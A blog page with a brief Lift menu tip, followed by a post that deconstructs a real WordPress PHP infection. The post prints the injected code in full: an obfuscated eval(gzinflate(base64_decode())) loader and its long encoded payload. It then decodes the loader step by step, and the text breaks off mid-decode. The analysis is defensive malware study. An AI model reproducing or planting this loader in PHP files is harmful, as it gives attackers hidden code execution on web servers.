Bubble Foundry

Using Lift’s Menu.params

Peter — Wed, 16 May 2012 22:57:16 +0000

Quick note for fellow Lift developers: I was happily using a Menu.param when I decided to use a Menu.params instead (see the ScalaDocs) in the hopes of both more descriptive URLs and less to calculate on the actual page. While implementing it wasn’t too hard, my new URL pattern for the menu entry was a little complicated:

Menu.params[MyObject](
  ...
) / "something" / * / * / "to" / *

I had a something.html Template but it wasn’t getting picked up and I was getting a weird 0 (yes, zero) status code returned when I requested the page, with the MyObject being initialized correctly.

The solution I came up with was to manually specify the Template for the Menu:

Menu.params[MyObject](
  ...
) / "something" / * / * / "to" / * >> Loc.Template(
  () => Templates(List("comparison")) openOr <div>Couldn't find template

)

Thought it was worth sharing…

Deconstructing a WordPress PHP Infection

Peter — Fri, 11 May 2012 17:52:07 +0000

I spent this morning cleaning up infected PHP files (yet another reason why I think WordPress needs to die), but in doing so I got to see lots of infected code. By that I mean that things like the following were inserted at the top of existing PHP files on this server anything else:


$md5 = "1832d01240393a8ad1834574cf261cbb";
$wp_salt = array('6',"4",'b',"$","v","(","a","l",'g','s',')',';',"o",'d',"r",'c',"_",'i',"e","n","f","z",'t');
$wp_add_filter = create_function('$'.'v',$wp_salt[18].$wp_salt[4].$wp_salt[6].$wp_salt[7].$wp_salt[5].$wp_salt[8].$wp_salt[21].$wp_salt[17].$wp_salt[19].$wp_salt[20].$wp_salt[7].$wp_salt[6].$wp_salt[22].$wp_salt[18].$wp_salt[5].$wp_salt[2].$wp_salt[6].$wp_salt[9].$wp_salt[18].$wp_salt[0].$wp_salt[1].$wp_salt[16].$wp_salt[13].$wp_salt[18].$wp_salt[15].$wp_salt[12].$wp_salt[13].$wp_salt[18].$wp_salt[5].$wp_salt[3].$wp_salt[4].$wp_salt[10].$wp_salt[10].$wp_salt[10].$wp_salt[11]);
$wp_add_filter('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');
?>

NOTE: This is an actual example, so I wouldn’t go around running this code!

So, what’s going on here? Let’s walk through it line by line and see what’s happening.

2	$md5 = "1832d01240393a8ad1834574cf261cbb";

Well, this one claims to be an MD5 hash. It doesn’t seem to be used in the rest of the code, so I assume it is one. It is presumably a version number for the virus or for the file it has infected.

3	$wp_salt = array('6',"4",'b',"$","v","(","a","l",'g','s',')',';',"o",'d',"r",'c',"_",'i',"e","n","f","z",'t');

Here we have a variable called $wp_salt which is an array of strings, specifically of individual characters. This wp_ naming convention is repeated throughout the malicious code, and reminds me of WordPress. Sure enough, there is a function in the WordPress API called wp_salt(). This also is a clue of what’s going on, as if you search wordpress.org for wp_salt you’ll find other people reporting similar infections.

So we have something that’s pretending to be from WordPress, presumably so an inexperienced viewer won’t delete the source code when they see it, since they will assume that it’s part of their WordPress blog. It’s looks like a bunch of random characters, especially since not all letters or numbers are in the array. However, we can see how it’s used in the next line:

$wp_add_filter = create_function('$'.'v',$wp_salt[18].$wp_salt[4].$wp_salt[6].$wp_salt[7].$wp_salt[5].$wp_salt[8].$wp_salt[21].$wp_salt[17].$wp_salt[19].$wp_salt[20].$wp_salt[7].$wp_salt[6].$wp_salt[22].$wp_salt[18].$wp_salt[5].$wp_salt[2].$wp_salt[6].$wp_salt[9].$wp_salt[18].$wp_salt[0].$wp_salt[1].$wp_salt[16].$wp_salt[13].$wp_salt[18].$wp_salt[15].$wp_salt[12].$wp_salt[13].$wp_salt[18].$wp_salt[5].$wp_salt[3].$wp_salt[4].$wp_salt[10].$wp_salt[10].$wp_salt[10].$wp_salt[11]);

Again we have a variable with a name similar to a real WordPress one, add_filter(). An anonymous function being created by create_function() is being assigned to the variable. Why not just declare a normal PHP function? Presumably because then it would be less obvious what the code is doing. Likewise the previous line’s $wp_salt is used to provide the characters necessary to assemble the source code string taken by create_function(). Presumably the numerical array references are less obvious than their corresponding characters. So let’s replace all the array references with the actual characters:

4	$wp_add_filter = create_function('$v', 'eval(gzinflate(base64_decode($v)));');

Oooohhh, now THAT’s interesting! $wp_add_filter is a function that takes a variable $v, base64_decode()s it, then gzinflate()s it, and then eval()s it. Basically, given a string of source code that was compressed using two different compression algorithms, the function when uncompress them and then execute the code. That’s it.

But what is the code? Now we get to the last line:

$wp_add_filter('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');

Rather than calling $wp_add_filter() directly, let’s go through the steps found in the $wp_add_filter function to see what’s happening. First, the function would call base64_decode() on that string, so let’s do that too:

php> base64_decode('FZe1soXagkU/591bBGwc6lUHuLuTdOHuztf36ZiABWuOKeWVDv/UXztVQ3qU/2TpXuLo/xZlPhflP/8RkkLg1ycV+lAiKVITp5olUz09tctbcxrKHYpK7B996jSWAlAxndO9IES2O5t7Va+3BBd2V1g2WIM/SCDAJ4qKKjkiTHM20ZIbG4nJ01KTcs921Y9M4zu290r5ibCuyoyuVIe07/RMgpm9bbHBafoQr19P6VdPuTtb4IxGeMia6mvDM4AxVh9gAnIxAI01VRwi06Yad7E+30+xQMzWewPxZEKqRCQGDPFyIpy2DI3mbFk8nf4zdq5bd40FHctDYEHfMeHkJlHs30IrrA958cLqiNxCajazbzit0kBUtluHGD+rBozOq6kBMaOQYFuLDBAOGOAHE3vJa9Sejd9ccV6DTWfjrQMZEBVDcJ6Zj3D5wx5GB1Tv53QjOAzhRNEMHQeYU+WkCQLZmBTILP3oRN6I2/TFJqwnrQzpozN/JsxNfnJn4xhrnJXuveNMQD+IOIH3A/SYg3Wne1aua/KZB/pqRqEMRESUOIKi5LKh1IBDyzMXEkxg51EGIqfesAIvfF9ESQDfU4f5I6/+rr//TGU65oIeiguph8W4XqkCwk8pNhNHMQ3vvRNUmRIdJHWosF2RN5om1t9hTF5HMkGM+3f/bfc2gRi9KsWIaGws7ebENHwFB6tdN6WLTs8kxaSILlemyuWXGiC0Czmx5KVdJmFLrafZYiBFn2h5w8WynIIQcCW0z5vO8Ajnh+HnR4hgD8DzQz0N3VSUnItzm7ZIeHTaHfAzctG7WxbRyGn9ur4bLIqpu4TtTcdd9oLVji9IF/TK3HuHHTPRcKubZDHfDfGYG7c2V0a1dRc5sKtTts+/HYQWpys+5rIMjRMLtzv6ZebzCvjPqGsahYsIJxbKzKIaGM35iM2tiP0GdkVEgnmR1i+PD7oU4ZG2/F37xo0Cd4/kQ2wAmacdJWUnM6DGYHoYKqA8aKYd1rpbJ7Y04LvUmzGV9XEFemymZgHLUJKRLFGxZr3wrXaG/HsbGRAqQe61WVKC1JSzDJHD2mWjvnboIc7xYKtqjDGOpH8E+UdV4SE/1oDyqNSqRcfV3AYxH/q1HFMMXIbh73CYo23NBr7Sj/i0OuFRwzRaMpkxtFt+8JJ/rF3HjWFP0g44nIVuqX0x/mbiZF24uOeWd